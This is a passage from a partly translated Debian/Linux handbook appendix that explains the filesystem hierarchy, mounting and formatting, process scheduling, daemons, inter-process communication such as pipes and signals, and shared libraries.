The starting point of this hierarchical tree is called the root, /. This directory can contain named subdirectories. For instance, the home subdirectory of / is called /home/. This subdirectory can, in turn, contain other subdirectories, and so on. Each directory can also contain files, where the actual data will be stored. Thus, the /home/rmas/Desktop/hello.txt name refers to a file named hello.txt stored in the Desktop subdirectory of the rmas subdirectory of the home directory present in the root. The kernel translates between this naming system and the actual, physical storage on a disk.

Unlike other systems, there is only one such hierarchy, and it can integrate data from several disks. One of these disks is used as the root, and the others are “mounted” on directories in the hierarchy (the Unix command is called mount); these other disks are then available under these “mount points”. This allows storing users' home directories (traditionally stored within /home/) on a second hard disk, which will contain the rhertzog and rmas directories. Once the disk is mounted on /home/, these directories become accessible at their usual locations, and paths such as /home/rmas/Desktop/hello.txt keep working.

There are many filesystem formats, corresponding to many ways of physically storing data on disks. The most widely known are ext3 and ext4, but others exist. For instance, vfat is the system that was historically used by DOS and Windows operating systems, which allows using hard disks under Debian as well as under Windows. In any case, a filesystem must be prepared on a disk before it can be mounted and this operation is known as “formatting”. Commands such as mkfs.ext3 (where mkfs stands for MaKe FileSystem) handle formatting. These commands require, as a parameter, a device file representing the partition to be formatted (for instance, /dev/sda1). This operation is destructive and should only be run once, except if one deliberately wishes to wipe a filesystem and start afresh.

There are also network filesystems, such as NFS, where data is not stored on a local disk. Instead, data is transmitted through the network to a server that stores and retrieves them on demand. The filesystem abstraction shields users from having to care: files remain accessible in their usual hierarchical way.

B.4.3. Shared Functions

Since a number of the same functions are used by all software, it makes sense to centralize them in the kernel. For instance, shared filesystem handling allows any application to simply open a file by name, without needing to worry where the file is stored physically. The file can be stored in several different slices on a hard disk, or split across several hard disks, or even stored on a remote file server. Shared communication functions are used by applications to exchange data independently of the way the data is transported. For instance, transport could be over any combination of local or wireless networks, or over a telephone landline.

B.4.4. 管理流程

A process is a running instance of a program. This requires memory to store both the program itself and its operating data. The kernel is in charge of creating and tracking them. When a program runs, the kernel first sets aside some memory, then loads the executable code from the filesystem into it, and then starts the code running. It keeps information about this process, the most visible of which is an identification number known as pid (process identifier).

Unix-like kernels (including Linux), like most other modern operating systems, are capable of “multi-tasking”. In other words, they allow running many processes “at the same time”. There is actually only one running process at any one time, but the kernel cuts time into small slices and runs each process in turn. Since these time slices are very short (in the millisecond range), they create the illusion of processes running in parallel, although they are actually only active during some time intervals and idle the rest of the time. The kernel's job is to adjust its scheduling mechanisms to keep that illusion, while maximizing the global system performance. If the time slices are too long, the application may not appear as responsive as desired. Too short, and the system loses time switching tasks too frequently. These decisions can be tweaked with process priorities. High-priority processes will run for longer and with more frequent time slices than low-priority processes.

NOTE Multi-processor systems (and variants)

The limitation described above of only one process being able to run at a time, doesn't always apply. The actual restriction is that there can only be one running process per processor core at a time. Multi-processor, multi-core or “hyper-threaded” systems allow several processes to run in parallel. The same time-slicing system is still used, though, so as to handle cases where there are more active processes than available processor cores. This is far from unusual: a basic system, even a mostly idle one, almost always has tens of running processes.

Of course, the kernel allows running several independent instances of the same program. But each can only access its own time slices and memory. Their data thus remain independent.

B.4.5. Rights Management

Unix-like systems are also multi-user. They provide a rights management system that supports separate users and groups; it also allows control over actions based on permissions. The kernel manages data for each process, allowing it to control permissions. Most of the time, a process is identified by the user who started it. That process is only permitted to take those actions available to its owner. For instance, trying to open a file requires the kernel to check the process identity against access permissions (for more details on this particular example, see 節 9.3, “管理權限”).

B.5. The User Space

“User space” refers to the runtime environment of normal (as opposed to kernel) processes. This does not necessarily mean these processes are actually started by users because a standard system normally has several “daemon” (or background) processes running before the user even opens a session. Daemon processes are also considered user-space processes.

B.5.1. 程序

When the kernel gets past its initialization phase, it starts the very first process, init. Process #1 alone is very rarely useful by itself, and Unix-like systems run with many additional processes.

First of all, a process can clone itself (this is known as a fork). The kernel allocates a new (but identical) process memory space, and another process to use it. At this time, the only difference between these two processes is their pid. The new process is usually called a child process, and the original process whose pid doesn't change, is called the parent process.

Sometimes, the child process continues to lead its own life independently from its parent, with its own data copied from the parent process. In many cases, though, this child process executes another program. With a few exceptions, its memory is simply replaced by that of the new program, and execution of this new program begins. This is the mechanism used by the init process (with process number 1) to start additional services and execute the whole startup sequence. At some point, one process among init's offspring starts a graphical interface for users to log in to (the actual sequence of events is described in more details in 節 9.1, “系統啟動”).

When a process finishes the task for which it was started, it terminates. The kernel then recovers the memory assigned to this process, and stops giving it slices of running time. The parent process is told about its child process being terminated, which allows a process to wait for the completion of a task it delegated to a child process. This behavior is plainly visible in command-line interpreters (known as shells). When a command is typed into a shell, the prompt only comes back when the execution of the command is over. Most shells allow for running the command in the background, it is a simple matter of adding an & to the end of the command. The prompt is displayed again right away, which can lead to problems if the command needs to display data of its own.

B.5.2. Daemons

A “daemon” is a process started automatically by the boot sequence. It keeps running (in the background) to perform maintenance tasks or provide services to other processes. This “background task” is actually arbitrary, and does not match anything particular from the system's point of view. They are simply processes, quite similar to other processes, which run in turn when their time slice comes. The distinction is only in the human language: a process that runs with no interaction with a user (in particular, without any graphical interface) is said to be running “in the background” or “as a daemon”.

VOCABULARY Daemon, demon, a derogatory term?

Although daemon term shares its Greek etymology with demon, the former does not imply diabolical evil, instead, it should be understood as a kind of helper spirit. This distinction is subtle enough in English; it is even worse in other languages where the same word is used for both meanings.

Several such daemons are described in detail in 章 9, Unix 服務.

B.5.3. Inter-Process Communications

An isolated process, whether a daemon or an interactive application, is rarely useful on its own, which is why there are several methods allowing separate processes to communicate together, either to exchange data or to control one another. The generic term referring to this is inter-process communication, or IPC for short.

The simplest IPC system is to use files. The process that wishes to send data writes it into a file (with a name known in advance), while the recipient only has to open the file and read its contents.

In the case where you do not wish to store data on disk, you can use a pipe, which is simply an object with two ends; bytes written in one end are readable at the other. If the ends are controlled by separate processes, this leads to a simple and convenient inter-process communication channel. Pipes can be classified into two categories: named pipes, and anonymous pipes. A named pipe is represented by an entry on the filesystem (although the transmitted data is not stored there), so both processes can open it independently if the location of the named pipe is known beforehand. In cases where the communicating processes are related (for instance, a parent and its child process), the parent process can also create an anonymous pipe before forking, and the child inherits it. Both processes will then be able to exchange data through the pipe without needing the filesystem.

IN PRACTICE A concrete example

Let's describe in some detail what happens when a complex command (a pipeline) is run from a shell. We assume we have a bash process (the standard user shell on Debian), with pid 4374; into this shell, we type the command: ls | sort .

The shell first interprets the command typed in. In our case, it understands there are two programs (ls and sort), with a data stream flowing from one to the other (denoted by the | character, known as pipe). bash first creates an unnamed pipe (which initially exists only within the bash process itself).

Then the shell clones itself; this leads to a new bash process, with pid #4521 (pids are abstract numbers, and generally have no particular meaning). Process #4521 inherits the pipe, which means it is able to write in its “input” side; bash redirects its standard output stream to this pipe's input. Then it executes (and replaces itself with) the ls program, which lists the contents of the current directory. Since ls writes on its standard output, and this output has previously been redirected, the results are effectively sent into the pipe.

A similar operation happens for the second command: bash clones itself again, leading to a new bash process with pid #4522. Since it is also a child process of #4374, it also inherits the pipe; bash then connects its standard input to the pipe output, then executes (and replaces itself with) the sort command, which sorts its input and displays the results.

All the pieces of the puzzle are now set up: ls reads the current directory and writes the list of files into the pipe; sort reads this list, sorts it alphabetically, and displays the results. Processes numbers #4521 and #4522 then terminate, and #4374 (which was waiting for them during the operation), resumes control and displays the prompt to allow the user to type in a new command.

Not all inter-process communications are used to move data around, though. In many situations, the only information that needs to be transmitted are control messages such as “pause execution” or “resume execution”. Unix (and Linux) provides a mechanism known as signals, through which a process can simply send a specific signal (chosen from a predefined list of signals) to another process. The only requirement is to know the pid of the target.

For more complex communications, there are also mechanisms allowing a process to open access, or share, part of its allocated memory to other processes. Memory now shared between them can be used to move data between the processes.

Finally, network connections can also help processes communicate; these processes can even be running on different computers, possibly thousands of kilometers apart.

It is quite standard for a typical Unix-like system to make use of all these mechanisms to various degrees.

B.5.4. Libraries

Function libraries play a crucial role in a Unix-like operating system. They are not proper programs, since they cannot be executed on their own, but collections of code fragments that can be used by standard programs. Among the common libraries, you can find:

- the standard C library (glibc), which contains basic functions such as ones to open files or network connections, and others facilitating interactions with the kernel;

- graphical toolkits, such as Gtk+ and Qt, allowing many programs to reuse the graphical objects they provide;

- the libpng library, which allows loading, interpreting and saving images in the PNG format.

Thanks to those libraries, applications can reuse existing code. Application development is simplified since many applications can reuse the same functions. With libraries often developed by different persons, the global development of the system is closer to Unix's historical philosophy.

CULTURE The Unix Way: one thing at a time

One of the fundamental concepts that underlies the Unix family of operating systems is that each tool should only do one thing, and do it well; applications can then reuse these tools to build more advanced logic on top. This philosophy can be seen in many incarnations. Shell scripts may be the best example: they assemble complex sequences of very simple tools (such as grep, wc, sort, uniq and so on). Another implementation of this philosophy can be seen in code libraries: the libpng library allows reading and writing PNG images, with different options and in different ways, but it does only that; no question of including functions that display or edit images.

Moreover, these libraries are often referred to as “shared libraries”, since the kernel is able to only load them into memory once, even if several processes use the same library at the same time. This allows saving memory, when compared with the opposite (hypothetical) situation where the code for a library would be loaded as many times as there are processes using it.